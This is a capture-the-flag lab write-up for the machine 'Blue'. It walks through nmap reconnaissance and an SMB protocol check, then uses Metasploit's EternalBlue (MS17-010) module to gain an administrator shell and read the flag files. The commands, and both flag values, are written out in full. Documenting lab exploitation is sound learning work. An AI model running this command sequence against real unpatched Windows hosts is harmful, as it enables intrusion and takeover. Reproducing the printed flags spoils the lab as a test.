# Blue

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FHLyiQps1iL3KxHJM0DKX%2Fimage.png?alt=media&#x26;token=487d4e7c-d2d6-4dc8-bf78-26569f2ee9f3" alt=""><figcaption></figcaption></figure>

## TARGET IP: 10.10.10.40

## HOST IP: 10.10.16.10

### RECON

#### NMAP

```
nmap [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FWGaMEAP5sQynglMvGqaY%2Fimage.png?alt=media&#x26;token=47375b45-fa12-4d25-8843-185154684f9a" alt=""><figcaption></figcaption></figure>

```
nmap -A -p 135,139,445,49152,49153,49154,49155,49156,49157 [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FKsfhgIBcZFzCnjvQQReu%2Fimage.png?alt=media&#x26;token=2e74dffd-dbe1-4b49-9e61-6dd35e418cfa" alt=""><figcaption></figcaption></figure>

* Looks like we have SMB open and some RPC open on other ports as well.&#x20;
* Based on the name alone, I'm highly suspicious that this thing is susceptible to eternal blue. I'm going to use an Nmap scan I found in a previous lab to check.

```
nmap -p 445 --script smb-protocols {TARGET IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fb5rvAmLF1oCZZnhuK6rT%2Fimage.png?alt=media&#x26;token=55242d81-44ec-4ac1-a8c7-4d8b31e2dbe7" alt=""><figcaption></figcaption></figure>

* Based on the fact that it allows for `SMBv1` and it is running Windows 7, I'm fairly confident that we could probably get Eternal Blue to run.

### Exploit

### Eternal Blue

```
msfconsole
search smb
use windows/smb/ms17_010_eternalblue
show options
```

* Use the `set` command to set the different options.&#x20;

```
set rhosts [Target IP]
set lhost [Host IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FkEnbqJ8SkAJo4dEEodng%2Fimage.png?alt=media&#x26;token=1e9b9bf0-9636-4830-9763-caef68c890d3" alt=""><figcaption></figcaption></figure>

* Now let's check to see if the host is vulnerable before moving forward.

```
check
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FQYwjCLW8Htu2W1pWbdvV%2Fimage.png?alt=media\&token=e54f6ce4-7492-408e-a504-70157cb15054)

* Looks favorable. Let's exploit.

```
exploit
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FKuheeJlUoYJlJC1GbHfl%2Fimage.png?alt=media\&token=6a065207-3a39-4b59-8ec3-c4fe407e5dd6)

* Let's start a command prompt shell and verify who we are.

```
shell
whoami
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FA3NdrtoxL18hc7LxE5eF%2Fimage.png?alt=media\&token=621a840f-d693-4904-bfc3-3ccc68686f19)

* And now I have administrator privileges on the machine. Wow that was easy. Let's go grab the flags.

```
type C:\Users\haris\Desktop\user.txt
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FaG4T1cav7aSblwbeZe8Z%2Fimage.png?alt=media&#x26;token=0b9d095a-1694-4ccf-bf78-a1ef773fbf1f" alt=""><figcaption></figcaption></figure>

```
9ba10e548f8c18db7f90a5d1c5e2abc4
```

```
type C:\Users\Administrator\Desktop\root.txt
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FxMRgWhQqAEaai0uRDhR2%2Fimage.png?alt=media&#x26;token=1efe4ddc-c39c-49cc-a910-f98a76c33065" alt=""><figcaption></figcaption></figure>

```
77a3bb72c76512c79b243e5235c38958
```

### Conclusion

* This was really easy and I had a feeling it was going to be really easy. Since I first saw the name of this machine and that it was a Windows machine, I already guessed it was going to be an eternal blue exploit.
* I skipped a LOT of steps in the process that I normally would not have but since I already had a pretty good idea of where to go, I figured I would give that a try. Worst case scenario it doesn't work and I go back to my usual process of Recon and Enumeration to discover other methods.
* Having done a coupe of other labs with Eternal Blue, I already knew how to exploit this machine so it was pretty quick. It's also scary to think how easy this tool is to use to immediately gain admin power in a system. Good job on creating an awesome tool NSA agents.
